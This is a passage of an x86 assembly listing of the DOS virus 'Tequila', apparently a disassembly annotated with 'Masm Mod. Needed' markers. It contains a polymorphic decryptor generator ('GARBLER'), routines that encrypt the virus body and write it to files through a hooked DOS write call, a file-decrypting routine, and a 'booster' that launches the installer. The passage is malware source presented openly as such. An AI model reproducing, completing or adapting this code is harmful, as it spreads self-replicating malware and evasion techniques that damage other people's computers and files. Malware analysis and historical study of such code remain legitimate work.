  945.    MOV AX,0FE81
  946.    MOV CL,0BE
  947.    TEST CH,1
  948.    JE 0993           ;Masm Mod. Needed
  949.    MOV AH,0FB
  950.    MOV CL,0BB
  951.    MOV W[SI],AX
  952.    INC SI
  953.    INC SI
  954.    PUSH BX
  955.    ADD BX,040
  956.    MOV W[SI],BX
  957.    INC SI
  958.    INC SI
  959.    POP BX
  960.    MOV B[SI],072
  961.    INC SI
  962.    MOV DX,SI
  963.    INC SI
  964.    CALL GARBLER
  965.    MOV B[SI],CL
  966.    INC SI
  967.    MOV W[SI],BX
  968.    INC SI
  969.    INC SI
  970.    MOV AX,SI
  971.    SUB AX,DX
  972.    DEC AX
  973.    MOV BX,DX
  974.    MOV B[BX],AL
  975.    CALL GARBLER
  976.    CALL GARBLER
  977.    MOV B[SI],0E2
  978.    INC SI
  979.    SUB DI,SI
  980.    DEC DI
  981.    MOV AX,DI
  982.    MOV B[SI],AL
  983.    INC SI
  984.    CALL GARBLER
  985.    RET
  986.  
  987. GARBLER:
  988.    DEC BP
  989.    ES TEST B[BP],0F           ;Masm Mod. Needed
  990.    JE RET           ;Masm Mod. Needed
  991.    DEC BP
  992.    ES MOV AL,B[BP]           ;Masm Mod. Needed
  993.    TEST AL,2
  994.    JE 0A0E           ;Masm Mod. Needed
  995.    TEST AL,4
  996.    JE 09F7           ;Masm Mod. Needed
  997.    TEST AL,8
  998.    JE 09F1           ;Masm Mod. Needed
  999.    MOV W[SI],0C789
  1000.    INC SI
  1001.    INC SI
  1002.    JMP RET           ;Masm Mod. Needed
  1003.    MOV B[SI],090
  1004.    INC SI
  1005.    JMP RET           ;Masm Mod. Needed
  1006.    MOV AL,085
  1007.    DEC BP
  1008.    ES MOV AH,B[BP]           ;Masm Mod. Needed
  1009.    TEST AH,2
  1010.    JE 0A05           ;Masm Mod. Needed
  1011.    DEC AL
  1012.    OR AH,0C0
  1013.    MOV W[SI],AX
  1014.    INC SI
  1015.    INC SI
  1016.    JMP RET           ;Masm Mod. Needed
  1017.    DEC BP
  1018.    ES TEST B[BP],2           ;Masm Mod. Needed
  1019.    JE 0A1A           ;Masm Mod. Needed
  1020.    MOV AL,039
  1021.    JMP 09F9           ;Masm Mod. Needed
  1022.    MOV B[SI],0FC
  1023.    INC SI
  1024.    RET
  1025.  
  1026. MAKE_THE_DISK_WRITE:
  1027.    CALL PERFORM_ENCRYPTION_DECRYPTION
  1028.    MOV AH,040
  1029.    MOV BX,W[09A4]
  1030.    MOV DX,0
  1031.    MOV CX,09A4
  1032.    PUSHF
  1033.    CALL D[09B4]           ;Masm Mod. Needed
  1034.    JB 0A37           ;Masm Mod. Needed
  1035.    SUB AX,CX
  1036.    PUSHF
  1037.    CMP B[0A39],028           ;Masm Mod. Needed
  1038.    JNE 0A44           ;Masm Mod. Needed
  1039.    MOV B[0A39],0           ;Masm Mod. Needed
  1040.    CALL PERFORM_ENCRYPTION_DECRYPTION
  1041.    POPF
  1042.    RET
  1043.  
  1044. PERFORM_ENCRYPTION_DECRYPTION:
  1045.    MOV BX,0
  1046.    MOV SI,0960
  1047.    MOV CX,0960
  1048.    MOV DL,B[SI]
  1049.    XOR B[BX],DL
  1050.    INC SI
  1051.    INC BX
  1052.    CMP SI,09A0
  1053.    JB 0A61           ;Masm Mod. Needed
  1054.    MOV SI,0960
  1055.    LOOP 0A52           ;Masm Mod. Needed
  1056.    RET
  1057.  
  1058. THE_FILE_DECRYPTING_ROUTINE:
  1059.    PUSH CS
  1060.    POP DS
  1061.    MOV BX,4
  1062.    MOV SI,0964
  1063.    MOV CX,0960
  1064.    MOV DL,B[SI]
  1065.    ADD B[BX],DL
  1066.    INC SI
  1067.    INC BX
  1068.    CMP SI,09A4
  1069.    JB 0A7E           ;Masm Mod. Needed
  1070.    MOV SI,0964
  1071.    LOOP 0A6F           ;Masm Mod. Needed
  1072.    JMP 0390           ;Masm Mod. Needed
  1073.  
  1074. ;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
  1075. ;==========       BUT IS MERELY THE BOOSTER.       ========
  1076.  
  1077. START:
  1078.    LEA W[0104],EXIT           ;Masm Mod. Needed
  1079.    MOV W[0106],CS           ;Masm Mod. Needed
  1080.    MOV BX,CS
  1081.    SUB W[0106],BX           ;Masm Mod. Needed
  1082.    JMP INSTALL
  1083.  
  1084. EXIT:
  1085.    INT 020
  1086.  
  1087. TEQUILA ENDP
  1088. CODE_SEG ENDS
  1089. END TEQUILA